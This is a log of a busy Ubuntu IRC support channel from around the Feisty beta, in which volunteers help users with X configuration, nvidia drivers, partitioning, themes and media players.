[09:18] <MonaLeilani> and keep stinky windows
[09:19] <ferronica> pibarnas: okay
[09:19] <bonez56> arrenlex, the only non-standard repo i have is deb http://gandalfn.club.fr/ubuntu edgy dev
[09:19] <unimatrix9> windows is cool ( if you wanto look outside )
[09:19] <arrenlex> bonez56: Yep, and that screwed you up.
[09:19] <bonez56> arrenlex, just removing it now :)
[09:19] <bonez56> arrenlex, i also fixed the error
[09:19] <MonaLeilani> hmm, maybe i'll just use partition magic to do it
[09:19] <Athensman> ok now what
[09:19] <arrenlex> bonez56: Well it's too late, you've installed the package =P Remove compiz-extra-gnome
[09:20] <MonaLeilani> that shouldn't cause any problems
[09:20] <Carsten-> please can someone help
[09:20] <unimatrix9> Mona if you have it ( partition magic ) why not use it?
[09:20] <kissake> Have any of you seen errors/problems/failures with booting the Ubuntu Live CD in graphical safe mode?
[09:20] <pibarnas> ferronica Now u got me! Why don't you put an scrp on the page and wait for its author explain to u?
[09:20] <epl> MonaLeilani: prabably the safest bet
[09:20] <Athensman> unimatrix9,  now what
[09:20] <MonaLeilani> okay, will do then
[09:20] <bonez56> arrenlex, ok it's removed.. compiz says it's already installed.,. what else should I do for some bling eye candy?
[09:20] <unimatrix9> Athensman,  install xawtv?
[09:20] <Athensman> yes
[09:21] <MonaLeilani> i need to just but myself one of those 120gb laptop drives.. this one has only 40
[09:21] <unimatrix9> ok, fire it up see what happens
[09:21] <MonaLeilani> *buy
[09:21] <rredd4> Carsten-  we cannot read your mind... please ask your question
[09:21] <pibarnas> ferronica You can do it by hand, but its hard working...
[09:21] <osofast> asdfjlk: my laptop doesnt have that function unforntualtly
[09:21] <unimatrix9> Mona , for that money ( buy partition magic ) you could buy an new hardrive
[09:22] <Peter_Johnsson> anyone got any updates on the whole JMicron bug with the beta, im craving ubuntu and i can't even install off the live cd
[09:22] <arrenlex> bonez56: Paste the output of "glxinfo | grep render" and "dpkg -l xserver-xgl | grep ^ii | wc -l" please
[09:22] <unimatrix9> and install ubuntu on that ( dual boot )
[09:22] <pibarnas> ferronica I don't know how to change all of them in a once.
[09:22] <MonaLeilani> who said I bought partition magic ;P
[09:22] <unimatrix9> hehe
[09:22] <mattie8> ok, so I am root (but sudo su) - how do I revert to being a normal user?
[09:22] <osofast> asdfjlk: ill post a link of the steps i tried before
[09:22] <mattie8> s/but/by
[09:22] <arrenlex> mattie8: "exit" command
[09:22] <Carsten-> I already did once, i have lost my Xwindows setup trying to re-config it so I can use 1440x900 but everytime i try a new setting other than the standard it crashes
[09:22] <MatthewV> mattie8, su youruser
[09:22] <ferronica> pibarnas: okay
[09:22] <epl> MonaLeilani: well, if you don't own it perhaps you should try it with free tools first? :)
[09:22] <kissake> Peter_Johnsson: I have a problem with the live cd... what are the symptoms of yours? (if I know that my problem is that one, I'm happier to wait :) )
[09:22] <asdfjlk> osofast - I won't be much help. I am new to linux, but have been a long time pwoer user.
[09:23] <arrenlex> Carsten-: When it crashes, copy the file /var/log/Xorg.0.log somewhere safe and then start X and pastebin it.
[09:23] <Athensman> lol well no picture
[09:23] <MonaLeilani> okay. well, thanks guys for your help.. I guess I'll go do the dirty work now
[09:23] <pibarnas> ferronica did u like the theme?
[09:23] <Carsten-> but will; that makle it run again?
[09:23] <ferronica> pibarnas: yes
[09:23] <osofast> http://ubuntuforums.org/showthread.php?t=271052
[09:23] <unimatrix9> Athensman,  at least we tried...
[09:23] <osofast> oh ok
[09:23] <epl> MonaLeilani: good luck
[09:23] <ferronica> pibarnas: what is GDM theme
[09:23] <Peter_Johnsson> mine is  a pretty widespread bug its reported on the main feisty beta page has a known bug. Basically  when i install, it gets frozen on the progress booting bar and can't mount hte filesystem and drops you back into a busy box terminal and spews something about tty and no job control
[09:23] <bonez56> arrenlex, http://paste.ubuntu-nl.org/11824/
[09:23] <MonaLeilani> thanks
[09:23] <Athensman> going back to windows
[09:23] <arrenlex> Carsten-: It will let me try to figure out what the problem is so I can give you advice.
[09:23] <Athensman> leter
[09:23] <Athensman> later
[09:24] <kissake> Peter_Johnson: Oh :( ... Mine happens before that.  Sux to be me.
[09:24] <Athensman> forget this crappy linux bullshit
[09:24] <Slart> Is there a way to tweak totem-gstreamer.. it uses 100% of my cpu when I'm playing a video but I don't find a lot of settings in the "preferences" window.. any hints?
[09:24] <arrenlex> bonez56: You have xserver-xgl installed. You really should remove it.
[09:24] <arrenlex> !langauge | Athensman
[09:24] <ubotu> Athensman: Please watch your language and keep this channel family friendly.
[09:24] <unimatrix9> sorry for you mate
[09:24] <osofast> guess ill just have to get used to typing with my figers lifted about the keyboard
[09:24] <bonez56> arrenlex, done. just removed it
[09:24] <arrenlex> bonez56: You're running plain x, right?
[09:24] <Carsten-> ok
[09:24] <unimatrix9> Athensman,   i think you would get in running , but you need to have an friend that knows a lot of linux
[09:24] <bonez56> arrenlex, as far as i know, yes
[09:24] <pibarnas> ferronica human list feisty, something like that...
[09:25] <Athensman> like i said linux sucks
[09:25] <Athensman> but thanks anyways
[09:25] <unimatrix9> Athensman,   yes for you it does...
[09:25] <ferronica> pibarnas: http://www.gnome-look.org/content/show.php/Avio-GDM?content=37395
[09:25] <Ayabara2> is there an equalizer plugin for rhytmbox? what other players besides amarok have equalizers?
[09:25] <kissake> ls
[09:25] <ferronica> pibarnas: GDM theme can i use it?
[09:25] <kissake> (gotta get focus follows mouse ..sorry for the spurious linux commands in channel)
[09:26] <pibarnas> ferronica yep. download it.
[09:26] <ferronica> pibarnas: I am using Ubuntu 6.06 LTS
[09:26] <Peter_Johnsson> so does anyone know of any workarounds for the jmicron bug https://launchpad.net/ubuntu/+source/linux-source-2.6.20/+bug/84964 i dont really want to wait like a week for a fix to be included in a daily build and to redownload the iso
[09:26] <ferronica> pibarnas: downloded
[09:26] <unimatrix9> Athensman : you could try to run knoppix on the same machine ( live cd ) and see if that gives the same problem or not
[09:26] <pibarnas> ferronica doesn't matter.
[09:26] <ferronica> pibarnas: now what to do
[09:26] <Athensman> scrw it
[09:26] <arrenlex> bonez56: Incidentally, what nvidia driver are you using? From the repositories or from the official site?
[09:26] <unimatrix9> Athensman,    ok , fair enough...
[09:26] <ferronica> pibarnas: saved on desktop
[09:27] <unimatrix9> Athensman,    i wish you all the best any way!
[09:27] <SplashTK> MatthewV,  "an error occured while applying the operations" Resize /dev/hda1 from 152.66 GiB to 138.22 GiB "
[09:27] <bonez56> arrenlex, from the repos
[09:27] <pibarnas> ferronica system>administration>log in session (something like that(.
[09:27] <Athensman> goodbye to linux forever
[09:27] <arrenlex> Athensman: Just leave already, please.
[09:27] <pibarnas> Athensman goodbye Athensman forever!
[09:27] <MatthewV> SplashTK, any other details
[09:27] <bonez56> arrenlex, however each time i boot up, a restricted-manager pops up and tells me that my nvidia graphics driver is not supported by ubuntu or something?
[09:27] <arrenlex> bonez56: The official one is newer. The repo one might not support\might not have good support for aiglx.
[09:27] <unimatrix9> Athensman,    still wanto read the how to page ? http://wiki.ubuntuusers.de/BT878 ( german ) but with englisch commands..
[09:28] <MatthewV> SplashTK, expanding the details will often give you the exact error
[09:28] <ferronica> pibarnas: Login window oreferences
[09:28] <SplashTK> MatthewV, The NTFS Journal is Unclean
[09:28] <unimatrix9> hmm, history...
[09:28] <arrenlex> bonez56: Try upgrading to the official driver... I've heard envy is good for this.
[09:28] <arrenlex> !envy | bonez56
[09:28] <ubotu> bonez56: envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[09:28] <pibarnas> ferronica I think it it that one...
[09:28] <unimatrix9> wonder what such a person would do if windows failed? also delete it from his drive?
[09:28] <bonez56> arrenlex, awesome thanks
[09:28] <unimatrix9> give up on windows? :P
[09:28] <pibarnas> ferronica clicking on it, what happens?
[09:29] <SplashTK> MatthewV, "Please shutdown windows poperly before using this software"
[09:29] <SplashTK> MatthewV, So I should boot back into windows the shutdown again?
[09:29] <variant> unimatrix9: nwhat do you mean?
[09:29] <ferronica> pibarnas: i drgged and dropped in it
[09:29] <MatthewV> SplashTK, did you shut down windows properly?
[09:29] <ferronica> pibarnas: i dragged and dropped in it
[09:29] <Carsten-> can anyone tell me how to get back to my X windows defaults from just after i installed the system?
[09:29] <MatthewV> you didnt hibernate or anything like that?
[09:29] <pibarnas> ferronica and it works?
[09:29] <ferronica> pibarnas: is it okay
[09:29] <pibarnas> ferronica okay!
[09:29] <ferronica> pibarnas: Yes
[09:29] <kissake> Windows doesn't 'fail'.  It is just that it's 'normal operation' is occasionally worse than a 'failure' in Linux.  Expectation management is key.
[09:29] <SplashTK> MatthewV, Well I assumed so, but obviously not
[09:29] <pibarnas> ferronica congratulations.
[09:29] <unimatrix9> variant , was not for you ...
[09:30] <asdfjlk> !help
[09:30] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[09:30] <ferronica> pibarnas: but i need a good theme
[09:30] <ferronica> pibarnas: not icon
[09:30] <Carsten-> please... anyone
[09:30] <arrenlex> bonez56: I have to go, so if you run into trouble again, fyi the gurus for this sort of thing live in #ubuntu-effects.
[09:30] <pibarnas> ferronica I used for some time synthesis, it's a very good one and I think it matches your icon theme...
[09:31] <pibarnas> ferronica I'll give u a screenshot, do u want it?
[09:31] <bonez56> arrenlex, cool thanks for the help. much appreicated
[09:31] <Carsten-> what do i need to do to get a reply in here?
[09:31] <ferronica> pibarnas: Okay sent
[09:31] <arrenlex> bonez56: No problem :) enjoy ubuntu.
[09:31] <ferronica> pibarnas: Okay send
[09:31] <arrenlex> Carsten-: I thought I replied to you several times by now?
[09:31] <variant> there should be some sort of notification that new hardware has been configured when you install it. At the moment the only way I knew that my usb-serial converter was supported was to run dmesg | tail in a terminal. plugging it in caused no visual feedback in gnome..
[09:31] <pibarnas> ferronica http://www.flickr.com/photos/58883315@N00/426105434/
[09:32] <osofast> any other ideas for how to stop the touchpad from wokring when im typing?
[09:32] <Carsten-> ok let me put it another way I asked a question to simply restore my old X config I dont know how many times ive asked it seems to have gone ignored every time
[09:32] <arrenlex> kissake: I am going to make an operating system where the kernel consists of an infinite loop of printing "Hello world!". Since it will always do what it's intended to do, I will market it as a system that never fails. I shall make millions. :)
[09:32] <unimatrix9> Carsten : there are two files : one is xorg.conf.old and one is xorg.conf
[09:33] <MindFury> Anyone know how much space the new Alpha of Fiesty Fawn takes up whne you install it?  I was going to try to install it to a 1gb usb stick, is this enough?
[09:33] <orkim> Carsten-: did you check in /etc/X11/ for a file like xorg.conf.back or something?
[09:33] <arrenlex> Carsten-: What's the output of "file /etc/X11/xorg.conf.bak"?
[09:33] <pibarnas> ferronica do you like this one?
[09:33] <ferronica> pibarnas: Good
[09:33] <Carsten-> yes, nothing there.
[09:33] <arrenlex> Carsten-: Actually, paste the output of this: ls /etc/X11/xorg.conf*
[09:33] <variant> MindFury: not really, try running the live image from usb
[09:33] <orkim> Carsten-: then it seens you dont have a backup
[09:33] <orkim> seems
[09:34] <kissake> orkim, would there be a default / backup on the Live CD somewhere?
[09:34] <arrenlex> Carsten-: Paste the output of this: ls /etc/X11/xorg.conf*
[09:34] <orkim> kissake: there is the default xorg.conf in the xorg package
[09:34] <ferronica> pibarnas: Nice
[09:35] <orkim> kissake: or you could probably do a debconf xorg or something as well..
[09:35] <MindFury> variant: If i do the live off the usb stick would there be a way to try out beryl (seeing as it doesnt come installed i will have to) so i can see if it works
[09:35] <root> hello
[09:35] <root> i am useing Mepis
[09:35] <unimatrix9> Carsten boot into live cd , copy xorg.conf from the live ram, to usb memory stick, and write it to your hard drive ? might be an other option...?
[09:35] <MindFury> cause Ultimate Unbunt 1.3 gave me hell the other day
[09:35] <root> but mepis is the same like ubuntu
[09:35] <unimatrix9> root , are you root?
[09:35] <root> i have got problem
[09:35] <root> yes :P
[09:35] <unimatrix9> not wise root?
[09:35] <MatthewV> MindFury, I have done that on a pc with an intel graphics card - oss accelerated drivers included
[09:35] <osofast> hey i have an unrelated question, when 7.04 comes out will my computer know how to automatically upgrade?
[09:35] <root> ues
[09:35] <root> yes
[09:35] <arrenlex> osofast: No.
[09:35] <MindFury> MatthewV: done what?
[09:36] <MatthewV> MindFury, run beryl off a usb stick booting the live cd image
[09:36] <dougie> where are xmms's skins stored? where would i extract new skins?
[09:36] <root> listen, I am root because i cannot login on my user account
[09:36] <osofast> like I will have to download the cd again?
[09:36] <arrenlex> osofast: You'd have to run upgrade-manager, like you do to upgrade dapper->edgy:
[09:36] <arrenlex> !upgrade| osofast
[09:36] <unimatrix9> dougie : there are in a hidden file in your home dir
[09:36] <ubotu> osofast: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[09:36] <root> because when i am writing my password
[09:36] <MindFury> Cool going to try that right now got my laptop loaded up, just man nothing seems to like Nvidia haha
[09:36] <epl> Carsten-: you can use, sudo dpkg-reconfigure xserver-xorg to generate a new xorg.conf
[09:36] <orkim> osofast: you have to change your repos in /etc/apt/sources.list and "apt-get update && apt-get dist-upgrade"
[09:36] <root> i cannot login
[09:36] <osofast> ok
[09:36] <root> into user account
[09:37] <unimatrix9> dougie : go to home dir , press ctrl+h shows files
[09:37] <MatthewV> MindFury, yeh thats where you'll hit issues, you'll need to install the proprietary drivers for nvidia onto the stick
[09:37] <root> do you know what to do ??
[09:37] <osofast> sounds good,
[09:37] <MatthewV> MindFury, and then there's the problem that iirc ubuntu live cd config overwrites xorg.conf every time you boot
[09:37] <dougie> unimatrix9: ok?
[09:37] <unimatrix9> dougie : find .xmms
[09:37] <unimatrix9> in there..
[09:37] <pibarnas> ferronica in fact I just switch back to it! :)
[09:38] <dougie> umm its not showing those files
[09:38] <unimatrix9> and file "skins"
[09:38] <dougie> nevermind
[09:38] <unimatrix9> or use beep-mediaplayer
[09:38] <MatthewV> MindFury, if you want to try, these are the instructions i used to get ubuntu on the stick (4 GB in my case) https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[09:38] <dougie> beep-mediaplayer?
[09:38] <unimatrix9> then you can drag and drop them into it...to show the skins
[09:38] <unimatrix9> yes beep-mediaplayer
[09:39] <kissake> IRC is addictive.  Anyone have advice on leaning out of the wagon, rather than falling off of it entirely? :)
[09:39] <unimatrix9> you need classic winamp skins...they look cool..
[09:39] <arrenlex> kissake: If girls talk to you for some reason, it's okay to talk to them back.
[09:39] <MindFury> MatthewV: Thanks, I just really want to try to get everything set up first and no how to do it befor i commit this to a HDD
[09:39] <MindFury> iam still begining with Linux
[09:40] <unimatrix9> apt-get install beep-media-player
[09:40] <dougie> hmm...the one i downloaded is not working...lol
[09:40] <unimatrix9> sudo..
[09:40] <unimatrix9> :)
[09:40] <dougie> what is beep-media-player?
[09:40] <orkim> kissake: use /quit early and often
[09:40] <unimatrix9> its a fork of xmms
[09:40] <MatthewV> MindFury, yeh... if you have the usb stick permanently on one pc you should be able to install a full system onto it...
[09:40] <Freeza> heh ubuntu gave new life to my 2yr old laptop
[09:41] <dougie> ....much better?
[09:41] <pibarnas> dougie a very good media player, but I think its developmente stopped some time ago... now it's bmpx...
[09:41] <unimatrix9> yes better ( personal view )
[09:41] <MatthewV> MindFury, sry.. oops you'd actually need a bigger stick
[09:41] <dougie> bmpx huh?
[09:41] <pibarnas> dougie yep.
[09:41] <pibarnas> dougie very good to listen radio.
[09:41] <Belboz99> hey all, how do I share a modem connection between two Ubuntu PC's?
[09:41] <Freeza> hey are gdm and kdm login screens or entire themes?
[09:41] <MindFury> MatthewV but while i have the live cd running right now and the usb stick in i can still just try installing beryl
[09:42] <MindFury> and nvidia drivers
[09:42] <pibarnas> Freeza I think there are themes...
[09:42] <variant> epi: linux is a kernel, not an operating system. ubuntu doesn't require you to use the terminal but when you ask in here it is gerealy easyer for someone with experience to simply tell you the commands that will fix your problem instead of trying to direct you through a bunch of menus
[09:42] <MatthewV> MindFury, i suppose there's no reason why you couldnt try
[09:42] <dougie> does beep media player play wma files?
[09:42] <Carsten-> can anyone tell me where the X config file on the live cd is located pls?
[09:42] <unimatrix9> dougie : the skins needs to be an wsz extension ( so classic skin )
[09:42] <pibarnas> variant good answer.
[09:42] <MatthewV> MindFury, but you'll lose all changes when you restart
[09:43] <pibarnas> dougie I think so.
[09:43] <dougie> cause xmms doesn't...
[09:43] <kissake> Well, I submitted my bug report to launchpad, so unless someone else has any ideas on getting Fawn (7.04) booting from the LiveCD, I'll be on my way (/quit early and often! :))
[09:43] <pibarnas> dougie I'm not certain about that.
[09:43] <MindFury> but if i learn how and everything works i can put that little info into memory and use it when i commit dual install on my laptop
[09:43] <variant> dougie: if they don't have a drm infection then yes it does. personally i use amarok, _excellent_ audio player/manager
[09:43] <Freeza> for example http://art4linux.nazwa.pl/pages/download/gnome/dream-avio-gdm.jpg will my whole gui look like that or only the login?
[09:44] <ubuntu_> for some reason my time is fucked
[09:44] <pibarnas> variant the best, I would say...
[09:44] <ubuntu_> how do i synch my time with the ntp servers in ubuntu?
[09:44] <variant> dougie: there is even a plugin available for amarok that allows you to right click a song you'r playing from an internet stream and "download album from bittorrent" although this may not strictly be legal
[09:44] <epl> ubuntu_: ntpdate <server>
[09:44] <unimatrix9> wma got to go, bye all and good luck
[09:44] <variant> ubuntu_: please watch your language in here, it's a fammily chan
[09:45] <MatthewV> MindFury, yes you could... try following the instructions at http://help.ubuntu.com/community/BerylOnEdgy
[09:45] <ubuntu_> thank you npl, and sorry about the language, i stand corrected
[09:45] <Carsten-> Can someone, anyone please tell me how to restore my x original config fiel from anywhere
[09:45] <Carsten-> please
[09:45] <variant> dougie: in a terminal run "file /path/to/filename.wma" I beleive that will tell you if the audio file has been DRM'd
[09:45] <epl> ubuntu_: also check /etc/default/ntpdate
[09:45] <epl> Carsten-: I already told you
[09:45] <pibarnas> Argh! The sun is coming!! I must go to sleep!!!
[09:45] <variant> dougie: change /path/to/filename.wma to the real path to your file of course
[09:46] <dougie> nah the stuff i'm playing is not drm'd
[09:46] <Carsten-> i am unable to find another copy of it on the cd
[09:46] <pibarnas> Bye, folks!
[09:46] <epl> Carsten-: or actually, I told you how to generate a new one
[09:46] <variant> dougie: ok
[09:46] <pibarnas> :)
[09:46] <misnix> Carsten-, try  sudo dpkg-reconfigure xserver-xorg
[09:46] <MindFury> MatthewV: Thanks looking now
[09:46] <Carsten-> that command is what brought my x-server down last time when I tried it
[09:46] <epl> Carsten-: there is no backup copy on the cd since the xorg.conf is generated at install time
[09:46] <variant> dougie: really, try amarok. Also, if xmms/beep doesn't play the wma it's probably because you don't have the right lib installed. do you have win32codecs installed?
[09:46] <dougie> the skin i downloaded needs some vumeter plugin
[09:46] <variant> !wma | dougie
[09:46] <ubotu> dougie: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[09:46] <epl> Carsten-: check what files you have in /etc/X11/
[09:47] <dougie> yes win32codecs are installed
[09:47] <Carsten-> i have there is no backup.
[09:47] <variant> dougie: that should allow it to play.
[09:47] <epl> Carsten-: dpkg-reconfigure usually creates a backup called xorg.conf.<somechecksumordate>
[09:47] <variant> dougie: does it give an error or anything when you try to open it?
[09:47] <dougie> they play in amarok
[09:47] <variant> dougie: cool :)
[09:47] <epl> Carsten-: then you have to generate a new one that works
[09:47] <Carsten-> when I ran it, it didnt do that
[09:47] <dougie> just not xmms
[09:47] <variant> dougie: you might want to change the amarok theme, the default one is not that great.. take a look in the settings
[09:48] <__doc__> howdy, I think pycentral is broken. I have a fix too. What do I do now?
[09:48] <ubuntu_> exit
[09:48] <Carsten-> epl, i have treied that command so many times with so many different config options I can not get any one of them to work,.
[09:48] <MindFury> Aw BOO wrong Nvidia Drivers
[09:48] <epl> Carsten-: ok
[09:49] <Peter_Johnsson> cant carsten just edit his, someone upload one of their unchanged
[09:49] <railk> having problems with nexuiz package: http://code.bulix.org/0jfuef-36800
[09:49] <Carsten-> So i guess that leaves me with one option, re-load, right?
[09:49] <MatthewV> MindFury, essentially, install 'nvidia-glx' run the command on that page, restart x, install beryl packages from the beryl repo, start beryl
[09:49] <dougie> does amarok have themes?
[09:50] <variant> dougie: yeah
[09:50] <epl> Carsten-: what caused the problem in the first place?
[09:50] <dougie> i don't see a section for themes...just color schemes
[09:50] <Carsten-> trying to get my monitor to work at its native resolution 1440x900
[09:50] <Athensman> why does linux suck?
[09:50] <noobi97> morning^^
[09:51] <Carsten-> thats all I want if i can get it to that ill be happy
[09:51] <variant> dougie: at the bottom of that settings page, they are called styles
[09:51] <epl> Carsten-: do you have a CRT or LCD?
[09:51] <dougie> carsten if you get your correct drivers working that usually fixes it
[09:51] <Carsten-> but no matter what I do I can not get it to work at that reswolution in ubuntu
[09:51] <Carsten-> lcd
[09:51] <variant> Athensman: dunno, linux is a kernel. try a different kernel
[09:51] <epl> Carsten-: what graphic chipset?
[09:51] <dougie> Carsten- what video card do you have?
[09:51] <Carsten-> ive tried all the nvidia drivers dougie they crashed it to
[09:51] <Carsten-> nvidia 7300
[09:52] <epl> Carsten-: or better, what driver do you usually use
[09:52] <Athensman> windows is better
[09:52] <variant> Athensman: #ubuntu-offtopic for that conversation please
[09:52] <dougie> Carsten- are you useing the vesa driver now?
[09:52] <Carsten-> this is a fresh install again, so what ever the ubuntu defaults are
[09:52] <Shaffox> how can i make a program load at startup ?
[09:53] <variant> Shaffox: in system > preferences > session
[09:53] <dougie> variant: you mean Context Browser Style?
[09:53] <variant> dougie: yes
[09:53] <MindFury> hey anyone done any DVD "backing up" with Ubuntu?
[09:53] <Carsten-> im not sure what driver it actually is
[09:53] <Athensman> ubuntu cant even play dvd's
[09:53] <dougie> why do you put "backing up" in quotes?
[09:53] <MindFury> curious as to see how the software compares to windows software
[09:53] <dougie> is the code for "pirateing"
[09:54] <variant> Athensman: it can of course, please troll in annother channel
[09:54] <MindFury> i like quotes
[09:54] <dougie> lol
[09:54] <MindFury> and it grabs ur attention
[09:54] <Athensman> no it cant
[09:54] <variant> !offtopic | Athensman
[09:54] <ubotu> Athensman: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[09:54] <MindFury> sorry
[09:54] <MindFury> my bad ubot
[09:55] <Shaffox> variant, it is in the list, but still it won't booit
[09:55] <Shaffox> *boot
[09:55] <MindFury> Athensman i got u in trouble
[09:55] <MindFury> hehe
[09:55] <MindFury> the bot is mad
[09:55] <MindFury> jk
[09:55] <Athensman> so
[09:55] <variant> Shaffox: how do you mean?
[09:56] <Shaffox> variant, well, i've add the program in the list, but it still doesn't load at startup
[09:56] <MindFury> hey MathhewV or anyone Running live CD with a USB stick using for storage how can i update the nvidia driver
[09:56] <craig_> hi, i just installed fluxbox, but when I log into the environment, like...its blank..the menus aren't populated or anything..there are no apps...can someone help?
[09:56] <variant> Shaffox: you sure about that? what program is it?
[09:56] <Shaffox> variant, yep, it's gmail-notifier
[09:57] <variant> Shaffox: if you run it manually does it start?
[09:57] <Shaffox> variant, yes
[09:57] <noobi97> any1 from hungary?
[09:57] <Shaffox> variant, in what map is this program installed?
[09:58] <zoli2k> Hi, I have problem with apache.
[09:58] <zoli2k> it marks that files are transfared
[09:58] <dougie> variant i switched to the mini mode in amarok how do i get back to the pl editor?
[09:58] <MatthewV> MindFury, what exactly do you mean by update?
[09:58] <dougie> nevermind
[09:58] <variant> dougie: not sure, just a sek
[09:58] <zoli2k> but on the other site: Connection closed at byte 0.
[09:58] <dougie> variant: i figured it out
[09:58] <zoli2k> so nothing transfared
[09:58] <variant> Shaffox: you scandinavian?
[09:58] <variant> Shaffox: or dutch
[09:59] <MatthewV> MindFury, the nvidia-glx package contains the nvidia prop. driver
[09:59] <variant> Shaffox: anyway, if you run gmail-notifier manually and then open up the session dialog
[09:59] <MatthewV> MindFury, i gtg now, so catcha - good luck :) there should be plent of people who can help you with following that guide
[09:59] <radio> hi can anyone tell me what is the root pass in ubuntu
[09:59] <variant> Shaffox: and click the "current session" tab you will see it running, you can save that state
[09:59] <epl> radio: there is none
[10:00] <Flannel> radio: there is none, the root account is disabled.
[10:00] <variant> radio: there isn't one, ubuntu uses sudo
[10:00] <variant> !sudo | radio
[10:00] <ubotu> radio: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[10:00] <epl> radio: you use sudo to gain superuser rights
[10:00] <variant> !root | radio
[10:00] <radio> thx for help
[10:01] <variant> radio: np
[10:02] <noobi97> whats the problem?
[10:02] <noobi97> noob-noti@noob-noti-laptop:~$ sudo apt-get install 915resolution
[10:02] <noobi97> Password:
[10:02] <noobi97> Csomaglistk olvassa... Ksz
[10:02] <noobi97> Fggsgi fa ptse
[10:02] <noobi97> llapotinformcik olvassa... Ksz
[10:02] <noobi97> E: Az albbi csomag nem tallhat: 915resolution
[10:03] <compwiz18> can anyone tell me the name of the alternative to bash that has a z in its name?
[10:04] <threeseas> cards in isa slots, ie. old sound blaster cards --- is there a way to get a live cd to recognize them?
[10:04] <variant> compwiz18: zsh
[10:04] <compwiz18> variant: thank you :D
[10:04] <variant> compwiz18: i think there is tzsh too
[10:05] <radio> how can i edit an /etc/default file
[10:05] <SplashTK> Hey, I am halfway through making a partition on gparted but am stuck, can anyone lend a hand, I would be very greatful
[10:05] <dystopianray> threeseas: is it isa pnp?
[10:05] <variant> radio: with sudo nano -w /etc/default, you might prefer to us gksudo gedit /etc/default
[10:05] <variant> Shaffox: just ask
[10:05] <puff> Evening.  I'm installing ubuntu server on a really new machine;  apparently the motherboard requires kernel 2.6.20.  I want to install Edgy on this machine;  is there a process for genreating a Live CD that uses kernel 2.6.20?
[10:06] <threeseas> dynstopianray: I don't know - going thru a bunch of old system that I'm wanting to set up as linux boxes to give away
[10:06] <dystopianray> puff: feisty has 2.6.20
[10:06] <compwiz18> variant: ok, thanks
[10:06] <dystopianray> threeseas: try alsaconf
[10:06] <puff> dystopianray: Yeah, but feisty is not stable yet...
[10:07] <SplashTK> Hey, I am halfway through making a partition on gparted but am stuck, can anyone lend a hand, I would be very greatfull.
[10:07] <dystopianray> puff: you could try making your own livecd with a 2.6.20 kernel, like the one from feisty, I don't know
[10:07] <dystopianray> SplashTK: what problem are you having?
[10:07] <threeseas> dynstopianray: thanks
[10:07] <dystopianray> threeseas: it's possible to get it working,it's just that isa can't be autodetected properly most of the time
[10:08] <puff> dystopianray: Danke.
[10:08] <puff> How easy is it to downgrade from feisty to edgy?  Maybe I could use the feisty live CD and then downgrade to edgy...
[10:08] <SplashTK> dystopianray, i've partitioned my drive, 138GB for XP, which is already installed and 14.65GB for the ubuntu I wanna install
[10:09] <threeseas> dynstopianray: that makes since and also suggest that I need to do an install rather than run live.
[10:09] <Flannel> puff: downgrading isn't supported, and won't solve your problem anyway
[10:09] <SuoYlimys> hey guys, i'm now installing ubuntu again. but; if i want to create three partititions for linux; the /, /home and /swap, should they all be created as "primary partitions"?
[10:09] <SplashTK> so I have an ntfs and an extended partition
[10:09] <radio> variant : thx
[10:09] <sky_monkey007> SuoYlimys: you'll want to create a partition for /var as well...
[10:09] <variant> radio: np
[10:09] <dystopianray> puff: if you don't want to run feisty beta, wait till april 19 when the final release is available
[10:09] <puff> Flannel: Well, been doing some googling, looks like feisty's scheduled for April 15th, maybe I can live with unstable until then.
[10:09] <sky_monkey007> otherwise your system could easily fill up the hard drive with log files
[10:10] <SuoYlimys> oh.. o.o
[10:10] <puff> April 19th?  Same difference.
[10:10] <Flannel> puff: If you need the new kernel, just use feisty.  You're using servers, they shouldn't change much (and are probably already solid) anyway.
[10:10] <puff> Flannel: That's reassuring.  Oky.
[10:10] <Flannel> puff: You shouldn't be using the liveCD to install a server anyway.  Alternate or server CD.
[10:10] <sky_monkey007> SuoYlimys: there is a limit as to how many primary partitions you can have.  I'd do just one primary partition.
[10:10] <Flannel> puff: Most of the bugs are in GUI stuff anyway.  X won't work one day, etc
[10:10] <sky_monkey007> make the rest extended
[10:10] <Bonez56> is there any software for ubuntu that will allow battery management for laptops? I used to have windows and there was a program that would completely flatten and then recharge the battery, kind of reconditioning it
[10:10] <SuoYlimys> thanks sky_moneky
[10:11] <sky_monkey007> np :)
[10:11] <SplashTK> dystopianray, I found a tutorial, I'll follow that and if I can't work it out I'll ask k
[10:11] <variant> puff: it's not terribly unstable actualy, some programs have bugs in feisty that makes for a challenging time. feisty is going to rock quite frankyly when it is released.. the codec discovery feature is fantastic, will put an end to a lot of support requests in here i think
[10:11] <SuoYlimys> *monkey
[10:11] <dystopianray> Bonez56: that sort of stuff is largely a myth, the program was probably detrimental to your battery's health
[10:11] <Peter_Johnsson> Flannel: Do you know which daily buid is going to get a fix for the jmicron bug on the main beta page. lots of people can't even boot
[10:11] <Bonez56> dystopianray, lol ok cool :) i just noticed that on my 6 month old laptop, ubuntu reports that it's last full charge was about 20% less than the battery capacity
[10:11] <Serge_K> hi all
[10:12] <Flannel> Peter_Johnsson: absolutely no idea.  I only recently upgraded to Dapper.  To give you an idea of how much I care about new software ;)
[10:12] <Serge_K> anyone having LTSP experience?
[10:12] <dystopianray> why would so many peopel by crappy jmicron hardware?
[10:12] <variant> Bonez56: that applies to batteries that suffer from "charge memory" if you have a lithium ion (li ion) then this is not an issue
[10:12] <Flannel> Peter_Johnsson: Check launchpad, that should give you some idea
[10:12] <variant> dystopianray: i know, sucks eh
[10:12] <Bonez56> variant, yes it's a li-on, its only a 6 month old toshiba...
[10:12] <sky_monkey007> I'm not a Ubuntu user (yet), but does Xen run fine under either Dapper or Feisty?
[10:13] <Peter_Johnsson> its included by default in lots of mobo's like lots of high end Asus mobos which certainly aren't crap
